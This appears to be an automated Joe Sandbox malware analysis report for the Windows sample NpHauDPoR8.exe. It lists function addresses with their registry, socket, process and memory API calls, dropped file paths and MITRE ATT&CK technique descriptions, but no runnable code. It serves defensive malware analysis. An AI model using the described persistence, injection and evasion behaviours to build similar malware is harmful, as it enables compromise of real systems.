Opcode Fuzzy Hash: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction Fuzzy Hash: D021F8705052016AE3209A658C01FAB76ECDF85318F010A3FB191EA1E2EB7C9554CBAB

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 862f39d307e7bed41155314c2e335719fea2d7178379376c520064090d73a952
Instruction ID: ca306f76ce8eae6bb017704f8a45eb17ba94ef2d79512a313227167690010306
Opcode Fuzzy Hash: 862f39d307e7bed41155314c2e335719fea2d7178379376c520064090d73a952
Instruction Fuzzy Hash: 0FF0C2712843103BE225F21A9C82FBB659CDFC87D8F00043EF60AF51D2EA3C9D1191AA

Function 00402646 Relevance: 9.1, APIs: 6, Instructions: 139
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,004029BD), ref: 004026A9
gethostbyname.WS2_32(?), ref: 004026BC
htons.WS2_32(00000050), ref: 004026D1
socket.WS2_32(00000002,00000001,00000006), ref: 004026F3
closesocket.WS2_32(00000000), ref: 0040270F

Part of subcall function 00401A88: RegCreateKeyExA.ADVAPI32(80000001,0040A8C0,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6

wsprintfA.USER32 ref: 00402797

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: wsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 2968461040-0
Opcode ID: ade305bca366b5eb7b918a423a1f866422317c8b2df476ad012bad1b820d0363
Instruction ID: 632abfffad1eae66bbef2cffefd365432c92c77627e78cd6349fa7629361752e
Opcode Fuzzy Hash: ade305bca366b5eb7b918a423a1f866422317c8b2df476ad012bad1b820d0363
Instruction Fuzzy Hash: E441A270240300EFE310AB659D8AB1B72A6EF48744F14853AF641FB2D2D7B89845CB6E

Function 004033B4 Relevance: 9.1, APIs: 6, Instructions: 95
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 004033C2
OpenProcess.KERNEL32(0000002A,00000000,?,?), ref: 004033DC
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?), ref: 00403463
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?), ref: 0040346D
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?), ref: 00403487
lstrcpy.KERNEL32(00000000,00000000), ref: 00403491

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseHandle$AllocOpenProcessVirtuallstrcpylstrlen
String ID:
API String ID: 885328069-0
Opcode ID: b4c10ef57f765930aaf56c2b25790fb49b488868c51a76cd8b379b42f3a34e64
Instruction ID: 286f24523f87d21ee6fdf0659b15e3162c9be1f6ec2acb51ddafdd64c094c1a7
Opcode Fuzzy Hash: b4c10ef57f765930aaf56c2b25790fb49b488868c51a76cd8b379b42f3a34e64
Instruction Fuzzy Hash: D031B131204300BFE3119FA5DD49F577BADEB88745F00853AF644BA1E1D7B9D9008BA9

Function 00401F06 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 00401F4C
lstrcpy.KERNEL32(?,?), ref: 00401F74
wsprintfA.USER32 ref: 00401FC5
wsprintfA.USER32 ref: 00401FE7

Strings

%02X, xrefs: 00401FE1

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X
API String ID: 1876335253-436463671
Opcode ID: 6c49d30cb7cfd085e64c39e8564b64de22b5380b93ea5cf8b43f39b9431fdca1
Instruction ID: e0bdc7e3bb12d4f3172dcd8bc2201614ea442c8a8193c297088bbb692e1f50c6
Opcode Fuzzy Hash: 6c49d30cb7cfd085e64c39e8564b64de22b5380b93ea5cf8b43f39b9431fdca1
Instruction Fuzzy Hash: 94311831A0034A8BD710EBE5C88479BBBF4AF41318F544137E451AB2D6D77CA945CB84

Function 00403AB1 Relevance: 7.6, APIs: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,0040A870), ref: 00403B11
GetProcAddress.KERNEL32(?,0040A85F), ref: 00403B21
GetProcAddress.KERNEL32(?,0040A84E), ref: 00403B31
GetProcAddress.KERNEL32(?,0040A83B), ref: 00403B41
GetProcAddress.KERNEL32(?,0040A827), ref: 00403B51

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction ID: 63eaa8bc75678119ca595fc79afd30bbacb21d8015fafef53c274f568fe1bf47
Opcode Fuzzy Hash: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction Fuzzy Hash: 77115E62658342A9CB013BB94DC551A2D0CF516725360CB77E0E3FA1E3D73C99238A6F

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034E7
Process32First.KERNEL32(00000000), ref: 004034FD
lstrcmpiA.KERNEL32(00000000,?), ref: 00403511
Process32Next.KERNEL32(00000000), ref: 00403530
CloseHandle.KERNEL32(00000000,00000002,00000000), ref: 00403538

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: a57c87f747c79c36d85012ca1193defae5f2afce6f2337d30444f1075badcc66
Instruction ID: c1730c4a262d1c5ddb531cf5a409bf9471f7e663502f7af43a59ba8fe8c46425
Opcode Fuzzy Hash: a57c87f747c79c36d85012ca1193defae5f2afce6f2337d30444f1075badcc66
Instruction Fuzzy Hash: 7EF0CD7220420436D6203677AC46F6F7E9CDB45365F50053FBA58F51D3E93DCA0186A5

Function 0040187B Relevance: 6.1, APIs: 4, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
recv.WS2_32(00000000,?,?,00000002), ref: 00401909
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928
recv.WS2_32(00000000,?,00000000,00000000), ref: 0040195E

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction ID: 0e7c0514ff34e4ed08866b55ff767d2318ba96abf9e9c78bb5005e9928d1fd1f
Opcode Fuzzy Hash: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction Fuzzy Hash: 4831C2716083469FE720EE24C894B2BBBD8EF94744F10483EF5C5E62E1E3B98904C756

Function 0040332B Relevance: 6.0, APIs: 4, Instructions: 40
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.ADVAPI32(?,0040A3D0,00000000,?,?,0000022A), ref: 00403349
RegCloseKey.ADVAPI32(?,?,0040A3D0,00000000,?,?,0000022A), ref: 00403356
RegOpenKeyExA.ADVAPI32(80000001,0040A480,00000000,0002001F,?,80000002,0040A480,00000000,0002001F,?,?,00407AC0,0040C280), ref: 0040336D
RegQueryValueExA.ADVAPI32(0002001F,0040A3D0,00000000,0002001F,?,0000022A,80000001,0040A480,00000000,0002001F,?,80000002,0040A480,00000000,0002001F), ref: 00403394

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: a7965a080363276cbf79931ef33725f3131c7e60a91a4a9c497422ff23ea8aa0
Instruction ID: 3dcb92c1f9c890dfedf28143b45772a3b5a55991ec0384945c72f8c2c4c9699b
Opcode Fuzzy Hash: a7965a080363276cbf79931ef33725f3131c7e60a91a4a9c497422ff23ea8aa0
Instruction Fuzzy Hash: FFF04471148301BAE310DB41EC45F5B7ADC9B80744F10443BBD46B50D1E6B8E954A61B

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,0040AA7C), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,0040AA7C), ref: 004012FD

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 8a2aeeabe0327aaed74bcaf7d2546734c40ed67db9af641f17f99699a9b790a4
Instruction ID: ac0062008775948776803e6f6a7ba0f32bd5f245bff4d12fb7fdccc5d9a3c317
Opcode Fuzzy Hash: 8a2aeeabe0327aaed74bcaf7d2546734c40ed67db9af641f17f99699a9b790a4
Instruction Fuzzy Hash: 2AE0D872400300A5E6203639EC8DFAF759C9F40324F10893FF885711D1957C54948E6E

Function 00402056 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 004020BD
recv.WS2_32(?,?,?,00000000), ref: 004020CD

Strings

(, xrefs: 00402091

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: recvselect
String ID: (
API String ID: 741273618-3887548279
Opcode ID: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction ID: 1fcd0d6409183d73132ea75ca463baecc2b767e2b6e15ce2ca548764a2397c31
Opcode Fuzzy Hash: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction Fuzzy Hash: BA41D5701087519BD3258F25C94872BBBE4EF85320F14C62FF699AA2C1C3B99D45CB56

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NpHauDPoR8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\tmpE02.tmp

C:\Windows\SysWOW64\RECOVER32.DLL

C:\Windows\SysWOW64\ahuy.exe

C:\Windows\SysWOW64\ntdbg.exe

C:\Windows\SysWOW64\rmass.exe

C:\Windows\System32\drivers\etc\hosts

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
NpHauDPoR8.exe

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77
fileCOMMON

Function 004033B4 Relevance: 12.1, APIs: 8, Instructions: 95
stringmemorynativeCOMMON

Function 0040233A Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243
filestringprocessCOMMON

Function 00401C3E Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203
networkstringCOMMON

Function 00401A88 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 127
registryCOMMON

Function 004014F6 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 188
filetimestringCOMMON

Function 00402646 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 139
networkstringCOMMON

Function 0040415C Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58
stringCOMMON

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
processfilesynchronizationCOMMON

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82
networkCOMMON

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47
registryCOMMON

Function 0040332B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
registryCOMMON

Function 00401F06 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 108
stringCOMMON

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49
processstringCOMMON